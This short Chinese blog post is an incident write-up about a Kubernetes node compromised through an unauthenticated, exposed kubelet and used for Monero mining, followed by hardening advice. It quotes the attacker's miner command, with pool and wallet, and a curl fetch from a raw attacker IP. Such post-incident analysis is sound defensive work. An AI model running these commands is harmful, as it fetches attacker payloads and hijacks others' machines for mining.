将 "数据与人" 设为 "星标⭐"
第一时间收到文章更新
近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿，后续也找到了原因，所幸只是用来挖矿……
./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmcurl -s http://45.9.148.35/scan_threads.dat
iptables为空
kubelet裸奔
kubelet设置不当
机器防火墙设置，机器防火墙是整个系统最外层，即使机器的防火墙同步失败，也不能默认开放所有端口，而是应该全部关闭，等待管理员连接到tty终端上检查。
使用机器时，假如机器不是暴露给外部使用的，公网IP可有可无的时候，尽量不要有公网IP，我们的机器才上线1天就被扫描到了漏洞，可想而知，公网上是多么的危险
使用kubelet以及其他系统服务时，端口监听方面是不是该有所考量？能不能不监听 0.0.0.0，而是只监听本机的内网IP。
使用kubelet以及其他程序，设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题，是否应该允许匿名访问，如果不允许匿名访问，那么怎么做一套鉴权系统?
系统管理员操作时，是否有一个比较规范化的流程，是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位。
来源： https://corvo.myseu.cn/2021/03/23/2021-03-23-%E8%AE%B0%E4%B8%80%E6%AC%A1Kubernetes%E4%B8%AD%E4%B8%A5%E9%87%8D%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
